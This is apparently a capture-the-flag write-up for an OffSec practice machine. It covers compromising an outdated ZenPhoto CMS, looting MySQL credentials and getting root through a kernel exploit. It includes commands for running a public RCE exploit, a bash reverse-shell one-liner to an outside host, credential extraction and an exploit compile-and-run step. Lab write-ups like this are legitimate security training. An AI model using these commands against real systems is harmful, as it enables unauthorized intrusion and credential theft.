PT1 certified | OSCP in progress

ZenPhoto – OffSec Practice Writeup

ZenPhoto OffSec Proving Grounds Practice writeup cover

This ZenPhoto OffSec Practice writeup walks through an unauthenticated ZenPhoto CMS remote code execution, MySQL credential looting from zp-config.php, and a Linux kernel local privilege escalation to root.

Summary

ZenPhoto is a medium-rated Linux host running an outdated ZenPhoto photo gallery CMS behind an aging Apache/Ubuntu stack. Web content discovery reveals the application under a /test/ directory, whose robots.txt leaks the zp-core/ administrative paths and fingerprints the vulnerable version. A public unauthenticated Remote Code Execution exploit grants a shell as www-data, which we upgrade to a stable interactive reverse shell.

Post-exploitation of the application’s configuration file surrenders the MySQL root credentials and, in turn, the salted administrator hash — a dead end, since the hash depends on a server-side seed. The intended privilege escalation is instead a Linux kernel local privilege escalation: the host runs a kernel old enough to be vulnerable to a public compiled exploit, which lands us a root shell.

Reconnaissance

Initial port discovery with rustscan piping into an nmap service/version scan:

rustscan -a 192.168.209.41 -- -sCV -O
PORTSERVICEINFO
22/tcpOpenSSH 5.3p1 Debian 3ubuntu7 (protocol 2.0)Ubuntu Linux; DSA + RSA host keys
23/tcpCUPS 1.4 (IPP)http-title: 403 Forbidden; risky PUT method allowed
80/tcpApache httpd 2.2.14 (Ubuntu)Site has no title (text/html)
3306/tcpMySQLResponds "unauthorized" to the scanner (not remotely authenticating)

The OpenSSH 5.3p1 / Apache 2.2.14 combination and the aggressive OS guesses (Linux 2.6.x) point to a legacy Ubuntu release — a strong early hint that a kernel exploit may be in play for privilege escalation.

The site on port 80 shows only an "Under Construction" placeholder. Content discovery with feroxbuster uncovers a /test endpoint:

feroxbuster -u http://192.168.209.41/ -w /usr/share/wordlists/dirb/common.txt

Enumerating further reveals /test/robots.txt, which discloses a /test/zp-core path — the ZenPhoto core, including a login/password-reset form. The reset form itself is a dead end, but it confirms the application and its version.

Initial access

Searching for public exploits against ZenPhoto returns EDB-18083 — "Zenphoto <= 1.4.1.4 Remote Code Execution" by EgiX — an unauthenticated code-injection flaw reachable through the application’s AJAX handler. Running it against the discovered install path drops us straight into a pseudo-shell as the web server user:

php 18083.php 192.168.209.41 /test/
+-----------------------------------------------------------+
| Zenphoto <= 1.4.1.4 Remote Code Execution Exploit by EgiX |
+-----------------------------------------------------------+

zenphoto-shell# whoami
www-data

The exploit’s pseudo-shell is functional but fragile. We upgrade to a proper interactive reverse shell using penelope as the listener/handler:

penelope -O -p 23

And trigger the callback from the target through the ZenPhoto shell:

/bin/bash -c "bash -i >& /dev/tcp/192.168.45.231/23 0>&1" &

With a stable www-data shell, we loot the ZenPhoto configuration file, which stores the database credentials in plaintext:

cat /var/www/test/zp-data/zp-config.php
$conf['mysql_user']     = 'root';
$conf['mysql_pass']     = 'hola';
$conf['mysql_host']     = 'localhost';
$conf['mysql_database'] = 'zenphoto';

Logging into MySQL with those credentials and inspecting the administrators table:

mysql -u root -p
mysql> SELECT user, pass, rights FROM zp_administrators;
+----------------+------------------------------------------+------------+
| user           | pass                                     | rights     |
+----------------+------------------------------------------+------------+
| admin          | 63e5c2e178e611b692b526f8b6332317f2ff5513 | 1961343989 |
+----------------+------------------------------------------+------------+

The admin hash looks like SHA1, but it does not crack — because ZenPhoto salts it with a server-side seed. Confirming the construction and locating the seed:

grep -rn "HASH_SEED" /var/www/test/
zp-core/lib-auth.php:138:        $hash = sha1($user . $pass . HASH_SEED);
zp-core/functions-basic.php:201: define('HASH_SEED', getOption('extra_auth_hash_text'));

Since HASH_SEED is extra_auth_hash_text, pulled from the DB options at runtime rather than stored in a static file, cracking the hash offline is impractical. The admin credential is a rabbit hole — we already have an interactive shell, so we pivot to local privilege escalation.

Privilege escalation

Running linpeas.sh on the host flags the kernel version as the standout vector — the box runs a Linux 2.6.x kernel old enough to be vulnerable to a well-known public local privilege escalation.

We fetch the corresponding exploit (EDB-15285, a Linux kernel local privilege escalation), compile it directly on the target, and execute it:

gcc exploit.c -o exploit
./exploit

The exploit overwrites our process credentials in kernel space and spawns a shell as root, completing the compromise.

Conclusion

ZenPhoto is a textbook "legacy stack" box: the entire chain stems from running software that is years past end-of-life. The initial foothold required no credentials at all — an unauthenticated RCE in a <= 1.4.1.4 ZenPhoto install, exposed only because a /robots.txt file helpfully advertised the zp-core/ paths. From there, a plaintext MySQL root password sitting in zp-config.php and an ancient, unpatched kernel made privilege escalation trivial.

The salted-SHA1 admin hash is a deliberate detour: it teaches that a hash is only as crackable as its salting scheme, and that recognizing a server-side seed early saves time better spent on the real path (the already-obtained shell and the kernel vector).

Remediation is almost entirely a patching and hygiene exercise: upgrade ZenPhoto off the vulnerable 1.4.x branch, keep the kernel and Apache/OpenSSH packages current, never expose administrative gallery paths publicly or leak them via robots.txt, avoid running MySQL as root for a web app, and stop storing reusable plaintext credentials in web-readable configuration files.

Index